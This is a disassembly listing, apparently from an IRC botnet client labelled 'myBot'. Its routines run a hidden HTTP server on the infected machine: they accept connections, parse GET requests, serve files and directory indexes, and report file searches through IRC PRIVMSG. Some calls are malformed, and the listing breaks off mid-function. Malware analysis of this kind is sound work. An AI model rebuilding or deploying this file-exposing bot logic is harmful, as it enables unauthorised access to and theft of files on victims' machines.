mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB9D4
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CB9FC
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA70
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9BC
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8C0
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA68
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB9EC
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA6C
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BF70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+var_18F0]
push eax
call sub_41B9C0
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41CAD4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C890
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+var_18F0]
push offset asc_4349EC ; "\r\n"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA70
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA6C
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB968
push eax
lea eax, [ebp+var_8F0]
push offset unk_4349C4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
call near ptr 26E0000h
nop
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 2740000h
nop
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 27315A6h
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
loc_41004C: ; DATA XREF: ___:004385A8o
; ___:004385BCo
push [ebp+var_44C]
call dword_4CBA24
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA6C
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 26E0000h
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BF70
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B9C0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+var_10C], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+var_210], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429AC8
push eax
call sub_41C266
lea eax, [ebp+var_314]
push offset asc_42A080 ; "\n"
push eax
call sub_41CAD4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 2680E33h
nop
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+var_314]
push offset asc_434C78 ; "*"
push eax
call sub_41C8A0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
lea eax, [ebp+var_210]
push eax
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C266
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA6C
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call near ptr 27107C1h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 2740AF5h
push esi
mov [ebp+var_330], eax
nop
call near ptr 26608D5h
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434C44
push eax
call sub_41C266
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E914[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
nop
call near ptr 2680000h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
call near ptr 2670E97h
nop
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA6C
call near ptr 2680972h
nop
push eax
lea eax, [ebp+var_8C4]
push offset unk_434C0C
push eax
call sub_41C266
lea eax, [ebp+var_8C4]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BF70
mov edi, [ebp+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41CAD4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4104AF
call sub_41B9C0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push edi
call sub_41B9C0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
cmp [ebp+arg_C], ebx
jz short loc_410564
push [ebp+arg_C]
call sub_41B9C0
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+arg_C]
call sub_41B9C0
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BFD0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 2770000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2760000h
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 275064Ch
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 2750000h
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C266
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+arg_C], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+arg_C], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429AC8
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
